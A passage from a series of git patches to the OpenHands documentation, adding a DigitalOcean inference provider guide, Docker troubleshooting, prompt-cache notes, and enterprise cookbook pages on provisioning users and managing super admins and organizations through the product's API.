`digitalocean/openai-gpt-5.6-luna` | +| DeepSeek V4 Pro | `digitalocean/deepseek-v4-pro` | +| GLM 5.3 | `digitalocean/glm-5.3` | +| GLM 5.2 | `digitalocean/glm-5.2` | +| Kimi K3 | `digitalocean/kimi-k3` | +| Qwen 3.8 Max | `digitalocean/qwen3.8-max` | + +To use a model that is not listed, use the `Advanced` tab and add the `digitalocean/` prefix to its DigitalOcean model ID. Get current IDs from DigitalOcean's [available models](https://docs.digitalocean.com/products/inference/details/models/#foundation-models) or from `GET https://inference.do-ai.run/v1/models`. For example: + +```text +digitalocean/glm-5.3 +``` + +<Warning> + OpenHands needs tool calling through the Chat Completions API. Models that support tools only through the Responses API, such as the GPT-6 line, do not work through this provider yet. +</Warning> + +## Use It With the SDK + +```python +from pydantic import SecretStr +from openhands.sdk import LLM + +llm = LLM( + model="digitalocean/anthropic-claude-sonnet-5.5", + api_key=SecretStr("<your-model-access-key>"), + usage_id="agent", +) +``` + +The SDK fills in the DigitalOcean endpoint for you. Pass `base_url` only to override it. + +## Costs + +DigitalOcean bills inference to your Inference and Agents balance, then your account prepayment balance. See [Serverless Inference pricing](https://docs.digitalocean.com/products/inference/details/pricing/) for per-model rates. Third-party models, such as Anthropic and OpenAI models, are not discounted by Agent Droplets plans. + +## Fix Common Problems + +| Problem | Check | Next step | +|---|---|---| +| Authentication fails | The model access key | Copy the key again, or regenerate it in **Model Access Keys**, then save the profile. | +| Model is not found or not allowed | The model ID and the key's model scope | Use an exact ID from the model list with the `digitalocean/` prefix, and check the key covers that model. | +| Requests fail with a tools or function-calling error | Whether the model supports tool calling over Chat Completions | Choose a model from [Verified Models](#verified-models). | +| Requests fail from a DigitalOcean sandbox | The key's VPC setting | Create a key with **No VPC network**. | +| Requests stop working | Your DigitalOcean balance | Add funds to your Inference and Agents balance. | + +For the broader configuration decision and recovery paths, see [Configure a Model](/openhands/usage/agent-canvas/model-configuration). diff --git a/openhands/usage/llms/llms.mdx b/openhands/usage/llms/llms.mdx index b3f2a5aab..79234f4d8 100644 --- a/openhands/usage/llms/llms.mdx +++ b/openhands/usage/llms/llms.mdx @@ -23,6 +23,7 @@ Choose the path that matches the access you have: | A local model server such as Ollama, LM Studio, vLLM, or SGLang | [Run Local LLMs with OpenHands](/openhands/usage/llms/local-llms) | | A LiteLLM proxy | [LiteLLM Proxy](/openhands/usage/llms/litellm-proxy) | | An OpenRouter API key | [Use OpenRouter with OpenHands](/openhands/usage/llms/openrouter) | +| A DigitalOcean model access key | [Use DigitalOcean Inference with OpenHands](/openhands/usage/llms/digitalocean) | | Claude Code, Codex, or Gemini CLI credentials | [ACP Agents](/openhands/usage/agent-canvas/acp-agents) | For model-ID, endpoint, API-key, and recovery checks, use [Configure a Model](/openhands/usage/agent-canvas/model-configuration) before changing advanced settings. @@ -113,6 +114,7 @@ We have a few guides for running OpenHands with specific model providers: - [AWS Bedrock](/openhands/usage/llms/aws-bedrock) - [Azure](/openhands/usage/llms/azure-llms) +- [DigitalOcean](/openhands/usage/llms/digitalocean) - [Google](/openhands/usage/llms/google-llms) - [Groq](/openhands/usage/llms/groq) - [Local LLMs with SGLang or vLLM](/openhands/usage/llms/local-llms) From fcfb09028f9021234371ae02daa428bd04859244 Mon Sep 17 00:00:00 2001 From: OpenHands Bot <contact@all-hands.dev> Date: Mon, 12 Oct 2026 16:01:12 -0400 Subject: [PATCH 62/97] docs(agent-canvas): add Docker image crash-loop troubleshooting (#932) Add a troubleshooting entry for a published Agent Canvas Docker image that crash-loops at startup with ERR_MODULE_NOT_FOUND, with steps to run a known-good tag or digest instead. Documents the failure mode addressed by OpenHands/OpenHands#18343 (shipped in v1.27.1). Co-authored-by: openhands <openhands@all-hands.dev> Co-authored-by: Devin <devinvinson@gmail.com> --- .../usage/agent-canvas/troubleshooting.mdx | 27 ++++++++++++++++++- 1 file changed, 26 insertions(+), 1 deletion(-) diff --git a/openhands/usage/agent-canvas/troubleshooting.mdx b/openhands/usage/agent-canvas/troubleshooting.mdx index e4c5caace..a328a409b 100644 --- a/openhands/usage/agent-canvas/troubleshooting.mdx +++ b/openhands/usage/agent-canvas/troubleshooting.mdx @@ -12,7 +12,8 @@ Use this page when Agent Canvas does not start, the browser cannot reach it, the - ["agent-canvas" Command Not Found](#agent-canvas-command-not-found), - [Missing `uv` or `uvx`](#missing-uv-or-uvx) - [Port Already In Use](#port-already-in-use) -- [Docker Daemon Not Running](#docker-daemon-not-running). +- [Docker Daemon Not Running](#docker-daemon-not-running) +- [Docker Image Crash-Loops At Startup](#docker-image-crash-loops-at-startup). **The browser works but Canvas cannot reach its backend** - [Backend Is Unreachable](#backend-is-unreachable) @@ -205,6 +206,30 @@ If Docker commands fail with a daemon or connection error: On Windows, use PowerShell command syntax from [Install](/openhands/usage/agent-canvas/setup#install-and-run). PowerShell uses backticks (`` ` ``) for line continuation instead of backslashes. +## Docker Image Crash-Loops At Startup + +If a Docker container starts but restarts in a loop instead of serving Canvas, check the container logs: + +```bash +docker logs <container-id-or-name> +``` + +If the logs show a missing module — for example, `Error [ERR_MODULE_NOT_FOUND]: Cannot find module '/opt/agent-canvas/<name>.mjs'` — the image was published with files missing, so it cannot start. This is not a problem with your configuration or mounts. + +1. Run a known-good image tag instead of the broken one. `ghcr.io/openhands/agent-canvas:latest` follows the most recent published version, so pin an earlier tag while the fault is fixed: + + ```bash + docker run -it --rm \ + -p 8000:8000 \ + -v ~/.openhands:/home/openhands/.openhands \ + -v ~/projects:/projects \ + ghcr.io/openhands/agent-canvas:1.26.0 + ``` + +2. Pull the latest image again after a patch is published and retry `:latest`. + +To pin an exact build instead of a tag, use its digest, for example `ghcr.io/openhands/agent-canvas@sha256:<digest>`. + ## Backend Is Unreachable If Agent Canvas loads but the active backend is disconnected: From 9daa7e5b5cd49453ce0f571810859a747eab5334 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=F0=9F=90=BE=20smolpaws?= <engel@enyst.org> Date: Tue, 13 Oct 2026 04:59:03 +0200 Subject: [PATCH 63/97] docs(sdk): explain prompt cache capability fallback (#913) Co-authored-by: Engel Nyst <engel.nyst@gmail.com> Co-authored-by: openhands <openhands@all-hands.dev> --- sdk/guides/metrics.mdx | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/sdk/guides/metrics.mdx b/sdk/guides/metrics.mdx index 023306602..bc93fcb06 100644 --- a/sdk/guides/metrics.mdx +++ b/sdk/guides/metrics.mdx @@ -46,6 +46,18 @@ The `llm.metrics` object is an instance of the [Metrics class](https://github.co For more details on the available metrics and methods, refer to the [source code](https://github.com/OpenHands/software-agent-sdk/blob/main/openhands-sdk/openhands/sdk/llm/utils/metrics.py). </Tip> +### Prompt Cache Support + +The SDK enables automatic prompt cache markers when `caching_prompt=True` and +model capability detection reports support. It uses LiteLLM model metadata when +available, with a built-in capability list as a fallback. That fallback includes +Claude Haiku 5.5 and Opus 5.5, including Anthropic and LiteLLM-proxy model names. + +Set `caching_prompt=False` when constructing `LLM` to disable automatic cache +markers. After a provider call, inspect `cache_write_tokens` and +`cache_read_tokens` to check reported cache activity. Actual cache use depends on +the provider's requirements, including its minimum cacheable prompt length. + ### Ready-to-run Example (LLM metrics) <Note> This example is available on GitHub: [examples/01_standalone_sdk/13_get_llm_metrics.py](https://github.com/OpenHands/software-agent-sdk/blob/main/examples/01_standalone_sdk/13_get_llm_metrics.py) From ef374935e1b69cad8153feee38561c56bedffb4f Mon Sep 17 00:00:00 2001 From: "openhands-release-bot[bot]" <290150379+openhands-release-bot[bot]@users.noreply.github.com> Date: Tue, 13 Oct 2026 09:48:25 -0400 Subject: [PATCH 64/97] docs(cookbook): sync from OpenHands/enterprise-cookbook (#935) Syncs the Enterprise Cookbook tab with OpenHands/enterprise-cookbook@1bb9974a7c4e13b82e1782f9d530b03d55d12e4a. Every file under `cookbook/` and the Enterprise Cookbook tab in `docs.json` are generated from that repository. Change them there, not here; edits made directly in this repository are overwritten by the next sync. _Opened automatically by the docs-publish workflow in OpenHands/enterprise-cookbook ([run](https://github.com/OpenHands/enterprise-cookbook/actions/runs/38407673557))._ Co-authored-by: openhands-release-bot[bot] <290150379+openhands-release-bot[bot]@users.noreply.github.com> --- cookbook/index.mdx | 4 + cookbook/provision-users.mdx | 250 +++++++++++++++++++++++++++++++++++ docs.json | 1 + 3 files changed, 255 insertions(+) create mode 100644 cookbook/provision-users.mdx diff --git a/cookbook/index.mdx b/cookbook/index.mdx index d8d448c86..16d2dc5c7 100644 --- a/cookbook/index.mdx +++ b/cookbook/index.mdx @@ -75,6 +75,10 @@ Inject credentials and manage identity. Inject per-conversation secrets via REST API as bash env vars and to template an MCP server config bundled in a plugin. </Card> + <Card title="Provision Users" icon="users-gear" href="/cookbook/provision-users"> + Provision organizations and users as a superadmin and get a per-user API key for OEM integrations. + </Card> + <Card title="Service Account GitHub PAT" icon="id-card" href="/cookbook/service-account-github-pat"> Use one OpenHands account as a service account, overriding the managed GITHUB_TOKEN with each user's PAT per conversation. </Card> diff --git a/cookbook/provision-users.mdx b/cookbook/provision-users.mdx new file mode 100644 index 000000000..61102bfd6 --- /dev/null +++ b/cookbook/provision-users.mdx @@ -0,0 +1,250 @@ +--- +title: Provision Users +description: Provision organizations and users as a superadmin and get a per-user API key for OEM integrations. +icon: users-gear +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (provision-users/README.md). Edit the source, not this file. */} + +<Card title="View source on GitHub" icon="github" href="https://github.com/OpenHands/enterprise-cookbook/tree/main/provision-users" horizontal /> + +Create an organization, provision users into it, and get a per-user API key to act on each user's behalf, all as the superadmin of an **OpenHands Enterprise** instance. No UI and no interactive sign-up are involved. + +This is the building block for **OEM integrations**, where your own user-management system owns the user and organization lifecycle and mirrors it into OpenHands. + +<Info> + This example is **Enterprise-only**. The endpoints do not exist on OpenHands Cloud or the open-source build. The provisioning endpoint is also **off by default**, so an operator must enable it (see [Enabling the Feature](#enabling-the-feature)). +</Info> + +## How It Works + +Every call is made as the superadmin. The `api_key` that comes back is what your system stores and uses afterwards. + +```mermaid +sequenceDiagram + participant S as Your System + participant O as OpenHands Enterprise + S->>O: POST /api/organizations (superadmin token) + O-->>S: org id + S->>O: POST /api/organizations/provision-user (X-Org-Id: org id) + O-->>S: email, password, api_key + S->>O: Any API call with the user's api_key + O-->>S: Acts as that user +``` + +1. `POST /api/organizations` creates the org. Only a superadmin can do this, and the creator is **not** added as a member. +2. `POST /api/organizations/provision-user` creates a user in that org. The target org goes in the **`X-Org-Id` header**, and the call bypasses email verification, terms of service, and OAuth. +3. Use the returned `api_key` as a Bearer token to act on that user's behalf. + +The provision-user response holds the new user's `email`, a `password` (generated if you did not supply one, and returned only on a true create), and an `api_key` bound to the target org. + +### Idempotency + +`provision-user` is idempotent. Re-running it for an email that already exists does not fail or duplicate the account. The server skips the create steps, ensures org membership, and resolves an API key. The `action` field and the HTTP status tell you which branch it took: + +| `action` | HTTP | Meaning | `password` | +| --------------- | ---- | --------------------------------------------------------------------------- | ---------- | +| `created` | 201 | Brand-new user created and added to the org | Set | +| `added_to_org` | 200 | User already existed and was added to this org | `null` | +| `reprovisioned` | 200 | User already existed and was already a member, so only the key was resolved | `null` | + +The existing Keycloak password is never rotated, so `password` is `null` on both idempotent paths. By default the endpoint returns the user's **existing** API key. Pass `reissue_api_key: true` (or `--reissue-api-key` on the script) to delete the old key and mint a fresh one. Use this to recover a user who lost their key. + +## Prerequisites + +- An OpenHands Enterprise instance with user provisioning enabled (see [Enabling the Feature](#enabling-the-feature)). +- The **superadmin** bearer token for that instance. On a fresh install, the superadmin is the first user to authenticate. +- `pip install requests` + +<Note> + A superadmin can list its peers with `GET /api/admin/super-admins`, but that endpoint itself requires superadmin. There is no self-service "am I the superadmin?" endpoint today. +</Note> + +## Run It + +Run these from the `provision-users/` directory. + +```bash +pip install requests + +export OH_API_BASE=https://openhands.example.com +export OH_API_KEY=$SUPERADMIN_TOKEN + +python provision_users.py +``` + +With no other arguments the script runs a complete demo. It creates a throwaway org and one user, verifies the user's key with `GET /api/organizations/{org_id}/me`, then deletes both again. + +```text +created org: Provision Users Demo 24bafb4f (0b624e33-8582-4086-8af9-dfa56f215c2d) + +provisioned demo-user-24bafb4f@example.com as member: action=created (HTTP 201) +{ + "email": "demo-user-24bafb4f@example.com", + "password": "****3lK8", + "api_key": "****BERX", + ... +} + api_key verified -> role=member in org 0b624e33-8582-4086-8af9-dfa56f215c2d + +deleted org 0b624e33-8582-4086-8af9-dfa56f215c2d +deleted user demo-user-24bafb4f@example.com +deleted user cleanup-24bafb4f@example.com +``` + +The password and API key are masked in the output. Pass `--show-secrets` to print them in full. + +<Note> + A superadmin has no org-scoped powers, so deleting an org needs the key of an org **owner**. When none of the demo users is an owner, the script provisions a short-lived `cleanup-…@example.com` owner for that step and deletes it with the others. +</Note> + +To provision real users, name the org or the users. The script then keeps everything it creates. + +<Tabs> + <Tab title="New Org"> + ```bash + python provision_users.py \ + --org-name "Acme Corp" \ + --contact-name "Ada Lovelace" --contact-email ada@example.com \ + --user alice@example.com --user bob@example.com \ + --role member + ``` + </Tab> + + <Tab title="Existing Org"> + ```bash + python provision_users.py \ + --org-id 0f9c3b2a-1d4e-4c8a-9b6f-2e7d5a1c3b4d \ + --user carol@example.com --role admin + ``` + </Tab> + + <Tab title="Recover a Lost Key"> + ```bash + python provision_users.py \ + --org-id 0f9c3b2a-1d4e-4c8a-9b6f-2e7d5a1c3b4d \ + --user carol@example.com --reissue-api-key + ``` + </Tab> +</Tabs> + +| Flag | Environment variable | Default | +| ----------------------------------- | -------------------- | ----------------------------------------------------- | +| `--api-key` | `OH_API_KEY` | Required (superadmin token) | +| `--base-url` | `OH_API_BASE` | Required (an Enterprise instance has no standard URL) | +| `--org-name` | | A generated demo name | +| `--org-id` | | Create a new org | +| `--contact-name`, `--contact-email` | | Demo values, used when creating an org | +| `--user` | | One generated demo user. Repeat for several | +| `--role` | | `member` (or `admin`, `owner`) | +| `--reissue-api-key` | | Off | +| `--keep` | | Off. In demo mode, leave the org and user in place | +| `--show-secrets` | | Off | + +## The Two Calls That Matter + +Create the org. The superadmin is **not** added as a member: + +```python +requests.post( + f"{base_url}/api/organizations", + headers={"Authorization": f"Bearer {admin_token}"}, + json={ + "name": "Acme Corp", + "contact_name": "Ada Lovelace", + "contact_email": "ada@example.com", + }, +) +# -> { "id": "<org-id>", "name": "Acme Corp", ... } +``` + +Provision a user into it. The target org travels in the `X-Org-Id` header, not the URL: + +```python +requests.post( + f"{base_url}/api/organizations/provision-user", + headers={ + "Authorization": f"Bearer {admin_token}", + "X-Org-Id": org_id, + }, + json={"email": "new-user@example.com", "role": "member"}, +) +# 201 Created -> +# { "email": "...", "password": "...", "api_key": "sk-...", +# "user_id": "...", "org_id": "...", "role": "member", +# "created": true, "action": "created" } +``` + +`role` is one of `member` (default), `admin`, or `owner`. You can also pass an optional `password` (it must satisfy the realm policy), `api_key_name`, and `reissue_api_key`. + +## Enabling the Feature + +The endpoint is registered only when the operator turns it on. Both install types set `USER_PROVISIONING_ENABLED=true` on the app server: + +| Install type | Where | Setting | +| ------------- | ----------------------------------------- | ---------------------------------------------------------------------------------------- | +| Replicated VM | Admin console → Config → Advanced Options | Check **Enable OEM User Creation Flow**, then save the config and deploy the new version | +| Helm | Your `values.yaml` | `userProvisioning.enabled: true` | + +![The Enable OEM User Creation Flow checkbox under Advanced Options in the admin console Config tab](https://raw.githubusercontent.com/OpenHands/enterprise-cookbook/main/provision-users/enable-oem-user-creation-flow.png) + +When it is disabled, `POST /api/organizations/provision-user` returns `404`. Org creation and superadmin management are always available. + +## Troubleshooting + +<Accordion title="401 Invalid service API key"> + You are calling the wrong endpoint. That error comes from the internal service-to-service routes under `/api/service/*`, such as `POST /api/service/users/{user_id}/orgs/{org_id}/api-keys`. They authenticate with the `X-Service-API-Key` header, checked against the operator-provisioned `AUTOMATIONS_SERVICE_KEY` shared secret. That key is meant for the internal automations service, not for admins. + + User provisioning is a different flow. Call `POST /api/organizations/provision-user` with an `Authorization: Bearer <superadmin-token>` header and `X-Org-Id`. It never uses `X-Service-API-Key`. `X-Session-API-Key` (per-sandbox agent-server auth, used in other examples) is also distinct from the plain Bearer token this endpoint expects. +</Accordion> + +<Accordion title="404 Not Found on provision-user"> + The feature is disabled. See [Enabling the Feature](#enabling-the-feature). +</Accordion> + +<Accordion title="403 Forbidden"> + The caller lacks the `PROVISION_USER` permission (org `owner` or `admin`, or an instance super role), or you targeted a personal workspace. Provisioning into a personal workspace is rejected. +</Accordion> + +## Security + +<Warning> + The provision-user response is a secret. The `password` is returned only there, because the endpoint bypasses the email-based set-password flow, and the `api_key` grants access as the new user. Do not log the response, hand the credential to the user out-of-band, and always use TLS. The script masks both values unless you pass `--show-secrets`. +</Warning> + +- **Guard the superadmin token.** Anyone holding it can create orgs, mint users, and grant or revoke superadmin. Treat it like a root credential. +- A superadmin does **not** inherit org-scoped powers (secrets, billing, LLM settings, org deletion) in the orgs it creates. + +## APIs Used + +| Endpoint | Used for | +| ---------------------------------------- | ------------------------------------------------ | +| `POST /api/organizations` | Create the org (superadmin only) | +| `POST /api/organizations/provision-user` | Create or re-provision a user and get an API key | +| `GET /api/organizations/{org_id}/me` | Verify the minted key and its role | +| `DELETE /api/organizations/{org_id}` | Demo cleanup: delete the org, as an org owner | +| `DELETE /api/admin/users/{user_id}` | Demo cleanup: delete a user, as the superadmin | + +## Related + +<CardGroup cols={2}> + <Card title="service-account-github-pat" href="/cookbook/service-account-github-pat" icon="id-card"> + Act for many users from one account with per-conversation credentials + </Card> + + <Card title="per-conversation-secrets" href="/cookbook/per-conversation-secrets" icon="user-secret"> + Inject secrets into a single conversation + </Card> + + <Card title="User provisioning endpoint (OpenHands #14864)" href="https://github.com/OpenHands/OpenHands/pull/14864" icon="arrow-up-right-from-square"> + The provisioning endpoint + </Card> + + <Card title="Super roles (OpenHands #14937)" href="https://github.com/OpenHands/OpenHands/pull/14937" icon="arrow-up-right-from-square"> + Instance-level superadmin roles + </Card> + + <Card title="Idempotent re-provisioning (enterprise #117)" href="https://github.com/OpenHands/enterprise/pull/117" icon="arrow-up-right-from-square"> + reissue_api_key, action, and 200 vs 201 + </Card> +</CardGroup> diff --git a/docs.json b/docs.json index f23462551..abdd40a1c 100644 --- a/docs.json +++ b/docs.json @@ -677,6 +677,7 @@ "pages": [ "cookbook/gpg-commit-signing", "cookbook/per-conversation-secrets", + "cookbook/provision-users", "cookbook/service-account-github-pat" ] }, From 4ebd10251a437a54f786a12e19882d317f4c764b Mon Sep 17 00:00:00 2001 From: "openhands-release-bot[bot]" <290150379+openhands-release-bot[bot]@users.noreply.github.com> Date: Tue, 13 Oct 2026 10:30:55 -0400 Subject: [PATCH 65/97] docs(cookbook): sync from OpenHands/enterprise-cookbook (#937) Syncs the Enterprise Cookbook tab with OpenHands/enterprise-cookbook@00d2a38a693e19cea10a1ace6ffbfabc1b02ead2. Every file under `cookbook/` and the Enterprise Cookbook tab in `docs.json` are generated from that repository. Change them there, not here; edits made directly in this repository are overwritten by the next sync. _Opened automatically by the docs-publish workflow in OpenHands/enterprise-cookbook ([run](https://github.com/OpenHands/enterprise-cookbook/actions/runs/38413723201))._ Co-authored-by: openhands-release-bot[bot] <290150379+openhands-release-bot[bot]@users.noreply.github.com> --- cookbook/index.mdx | 18 +++- cookbook/org-admin.mdx | 179 +++++++++++++++++++++++++++++++++++ cookbook/provision-users.mdx | 2 +- docs.json | 8 +- 4 files changed, 201 insertions(+), 6 deletions(-) create mode 100644 cookbook/org-admin.mdx diff --git a/cookbook/index.mdx b/cookbook/index.mdx index 16d2dc5c7..a2f4fbbb5 100644 --- a/cookbook/index.mdx +++ b/cookbook/index.mdx @@ -75,15 +75,25 @@ Inject credentials and manage identity. Inject per-conversation secrets via REST API as bash env vars and to template an MCP server config bundled in a plugin. </Card> - <Card title="Provision Users" icon="users-gear" href="/cookbook/provision-users"> - Provision organizations and users as a superadmin and get a per-user API key for OEM integrations. - </Card> - <Card title="Service Account GitHub PAT" icon="id-card" href="/cookbook/service-account-github-pat"> Use one OpenHands account as a service account, overriding the managed GITHUB_TOKEN with each user's PAT per conversation. </Card> </CardGroup> +## Onboarding & org admin + +Find super admins, create organizations, and provision users on OpenHands Enterprise. + +<CardGroup cols={2}> + <Card title="Super Admins and Organizations" icon="user-shield" href="/cookbook/org-admin"> + Find the super admin on an OpenHands Enterprise install, promote more, and create team organizations next to personal ones. + </Card> + + <Card title="Provision Users" icon="users-gear" href="/cookbook/provision-users"> + Provision organizations and users as a superadmin and get a per-user API key for OEM integrations. + </Card> +</CardGroup> + ## Plugins, skills & MCP Extend conversations with plugins, skills, and MCP servers. diff --git a/cookbook/org-admin.mdx b/cookbook/org-admin.mdx new file mode 100644 index 000000000..17981d59b --- /dev/null +++ b/cookbook/org-admin.mdx @@ -0,0 +1,179 @@ +--- +title: Super Admins and Organizations +description: Find the super admin on an OpenHands Enterprise install, promote more, and create team organizations next to personal ones. +icon: user-shield +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (org-admin/README.md). Edit the source, not this file. */} + +<Card title="View source on GitHub" icon="github" href="https://github.com/OpenHands/enterprise-cookbook/tree/main/org-admin" horizontal /> + +Every OpenHands Enterprise (OHE) user has a personal organization, and an install that predates organizations has only those. Creating a team org, and putting people in it, is an instance-level action that only a **super admin** can take. This example is a small command-line tool for those steps, with the reasons behind each one. + +## How It Works + +A super admin is a user whose instance-level role is `admin`. It is separate from the `owner`, `admin` and `member` roles inside an org. It carries the permissions to create orgs, invite people into orgs it is not a member of, and grant or revoke the role itself. + +```mermaid +sequenceDiagram + participant Op as Operator + participant T as org_admin.py + participant S as OHE app server + Op->>T: status + T->>S: GET /api/admin/super-admins + S-->>T: who the super admins are + Op->>T: super-admins grant --email ... --yes + T->>S: POST /api/admin/super-admins + Op->>T: create-org ... --yes + T->>S: POST /api/organizations + S-->>T: org id (no members yet) + Op->>T: invite --org-id ... --role owner ... --yes + T->>S: POST /api/organizations/{id}/members/invite +``` + +Every instance should already have a super admin. Migration `138` promotes the oldest user if none exists, ordered by `first_login_at`, then `accepted_tos`. That is usually the person who installed OHE, but it is chosen by timestamp, so check. + +## Prerequisites + +- An OHE install, and an API key for a user. Create one in the app under **Settings > API Keys**. +- To **list** super admins through the API, one of: + - the key belongs to a super admin, or + - **Enable OEM User Creation Flow** is on (see [Enabling the Feature](#enabling-the-feature)). It sets `USER_PROVISIONING_ENABLED`, which lets any signed-in user list super admins on OHE **1.62.0 or later**. Earlier versions return 403 to everyone but super admins, even with the toggle on. +- To **grant** the role or **create orgs**, the key must belong to a super admin. +- `pip install requests` + +<Warning> + **Enable OEM User Creation Flow** also registers `POST /api/organizations/provision-user`, which creates Keycloak accounts with passwords and API keys. Org owners and admins can call it for their own org. It redeploys the app. Turn it off again if you only needed it to find the super admin. +</Warning> + +## Run It + +Set the server and your key. With no subcommand the tool runs a read-only preflight. + +```bash +export OH_API_BASE=https://your-ohe-host +export OH_API_KEY=your-api-key +python org_admin.py +``` + +```text +Signed in as: ada@example.com (user id 3f2c...) +Current org: user_3f2c..._org (3f2c...) +Role there: owner + +Organizations you belong to: + 3f2c... personal user_3f2c..._org + (Only orgs you are a member of are listed. A super admin is not automatically a member of the orgs it creates.) + +Super admins: + 3f2c... ada@example.com <- you +``` + +If listing is forbidden, the tool says so and prints the ways around it. + +Every command that changes something is a **dry run** until you add `--yes`. It prints the request and sends nothing. + +<Steps> + <Step title="Promote Another Super Admin"> + The user must have signed in at least once. Granting twice is harmless. Revoking refuses to remove the last super admin. + + ```bash + python org_admin.py super-admins grant --email grace@example.com --yes + python org_admin.py super-admins revoke USER_ID --yes + ``` + + Only a current super admin can do this. Finding the super admin does not give you its permissions, so the super admin has to run the command or hand you a key. + </Step> + + <Step title="Create a Team Org"> + ```bash + python org_admin.py create-org \ + --name "Acme Engineering" \ + --contact-name "Ada Lovelace" \ + --contact-email ada@example.com \ + --yes + ``` + + The org is created empty. The super admin is not added as a member. + </Step> + + <Step title="Add the First Owner"> + Pick one of the two. + + <Tabs> + <Tab title="Invite"> + Works for people who already have accounts. An existing user is added at their next login. If they were on their personal org, they land in the new one, and the personal org is still there. When no email provider is configured the tool prints the invite link to share. + + ```bash + python org_admin.py invite --org-id ORG_ID --role owner ada@example.com --yes + ``` + </Tab> + + <Tab title="Provision"> + Creates the account if needed and returns a password and an API key. It needs **Enable OEM User Creation Flow**. The credentials go to a file with mode 0600, never to the terminal. + + ```bash + python org_admin.py provision-user \ + --org-id ORG_ID \ + --email ada@example.com \ + --role owner \ + --yes + ``` + </Tab> + </Tabs> + </Step> +</Steps> + +## Enabling the Feature + +The endpoint is registered only when the operator turns it on. Both install types set `USER_PROVISIONING_ENABLED=true` on the app server: + +| Install type | Where | Setting | +| ------------- | ----------------------------------------- | ---------------------------------------------------------------------------------------- | +| Replicated VM | Admin console → Config → Advanced Options | Check **Enable OEM User Creation Flow**, then save the config and deploy the new version | +| Helm | Your `values.yaml` | `userProvisioning.enabled: true` | + +![The Enable OEM User Creation Flow checkbox under Advanced Options in the admin console Config tab](https://raw.githubusercontent.com/OpenHands/enterprise-cookbook/main/org-admin/enable-oem-user-creation-flow.png) + +When it is disabled, `POST /api/organizations/provision-user` returns `404`. Org creation and superadmin management are always available. + +## Find the Super Admin Without the API + +The API route is blocked until you have a super admin key or the OEM flag. The database does not need either. + +```sql +SELECT u.id, u.email, u.first_login_at +FROM "user" u JOIN role r ON r.id = u.role_id +WHERE r.name = 'admin'; +``` + +If it returns nothing, run the ordering from migration `138` to see who would be picked: the oldest user by `COALESCE(first_login_at, accepted_tos)`. + +## Things to Know + +- **Listing orgs only shows memberships.** `GET /api/organizations` returns orgs the caller belongs to. Keep the id from `create-org`, because a super admin cannot list the orgs it created. +- **Personal orgs are not touched.** Nothing here moves or hides personal data. +- **The default-org flags change what a team org means.** If exactly one team org exists when `default_openhands_org_enabled` is later turned on, it is adopted as the default org, and with auto-add every user who signs in joins it. With more than one team org, the default-org bootstrap does nothing. +- **Unclaimed git events follow the same rule.** They fall back to the default org only while exactly one team org exists. +- **Org creation is for super admins only.** The chart value `openOrgCreation.enabled` is meant to open it up, but the `POST /api/organizations` route checks the super-admin permission and does not read it. + +## APIs Used + +| Endpoint | Used for | +| ------------------------------------------------- | ----------------------------------------------- | +| `GET /api/v1/users/me` | Who the key belongs to | +| `GET /api/organizations` | Orgs the caller is a member of | +| `GET /api/admin/super-admins` | List super admins | +| `POST /api/admin/super-admins` | Grant the role by email or user id | +| `DELETE /api/admin/super-admins/{user_id}` | Revoke the role | +| `POST /api/organizations` | Create a team org | +| `POST /api/organizations/{org_id}/members/invite` | Invite people with a role | +| `POST /api/organizations/provision-user` | Create a user in an org (`X-Org-Id` selects it) | + +## Related + +<CardGroup cols={2}> + <Card title="provision-users" href="/cookbook/provision-users" icon="users-gear"> + Script the same org and user provisioning from your own system, including idempotent re-runs and API key reissue + </Card> +</CardGroup> diff --git a/cookbook/provision-users.mdx b/cookbook/provision-users.mdx index 61102bfd6..b2a4ac500 100644 --- a/cookbook/provision-users.mdx +++ b/cookbook/provision-users.mdx @@ -57,7 +57,7 @@ The existing Keycloak password is never rotated, so `password` is `null` on both - `pip install requests` <Note> - A superadmin can list its peers with `GET /api/admin/super-admins`, but that endpoint itself requires superadmin. There is no self-service "am I the superadmin?" endpoint today. + A superadmin can list its peers with `GET /api/admin/super-admins`. That endpoint requires superadmin, unless user provisioning is enabled on OHE 1.62.0 or later, when any signed-in user can call it. There is no self-service "am I the superadmin?" endpoint. The [`org-admin`](/cookbook/org-admin) example shows how to find the superadmin and grant the role to more users. </Note> ## Run It diff --git a/docs.json b/docs.json index abdd40a1c..76a3ebf7a 100644 --- a/docs.json +++ b/docs.json @@ -677,10 +677,16 @@ "pages": [ "cookbook/gpg-commit-signing", "cookbook/per-conversation-secrets", - "cookbook/provision-users", "cookbook/service-account-github-pat" ] }, + { + "group": "Onboarding & org admin", + "pages": [ + "cookbook/org-admin", + "cookbook/provision-users" + ] + }, { "group": "Plugins, skills & MCP", "pages": [ From d27d7a0d86bcfd65b184629e1577e8bb9270b4d2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=F0=9F=90=BE=20smolpaws?= <engel@enyst.org> Date: Wed, 14 Oct 2026 02:48:48 +0200 Subject: [PATCH 66/97] docs: clarify hooks location for GUI working folders (#941) * docs: clarify GUI hooks configuration workspace * Apply suggestion from @enyst * Apply suggestion from @enyst * Clarify hooks configuration instructions Reworded instructions for clarity regarding default working directory and hooks configuration. --------- Co-authored-by: smolpaws <smolpaws@users.noreply.github.com> Co-authored-by: Engel Nyst <engel.nyst@gmail.com> --- openhands/usage/customization/hooks.mdx | 21 ++++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/openhands/usage/customization/hooks.mdx b/openhands/usage/customization/hooks.mdx index 0c75c9bb5..e1b878e15 100644 --- a/openhands/usage/customization/hooks.mdx +++ b/openhands/usage/customization/hooks.mdx @@ -36,7 +36,26 @@ can never block, regardless of event type. <Step> ### Create the Hooks Directory - In your repository root, create the `.openhands` directory if it doesn't already exist: + Create `.openhands` in the conversation's working folder. For a cloned repository, + this is the repository root. + + In Agent Canvas: + - If you select a `Working folder` through `Open Workspace`, place `hooks.json` at + `<selected-folder>/.openhands/hooks.json`. + - If you do not select a working folder, OpenHands uses the Agent Server's default + working directory. In the Docker setup described here, this is + `/home/openhands/workspace/project`, so the configuration is at + `/home/openhands/workspace/project/.openhands/hooks.json`. + + <Note> + These paths are inside the backend environment. If you configured a different + default working directory, use that directory instead. Hooks are loaded from + the working folder itself; OpenHands does not search its parent folders. For + example, 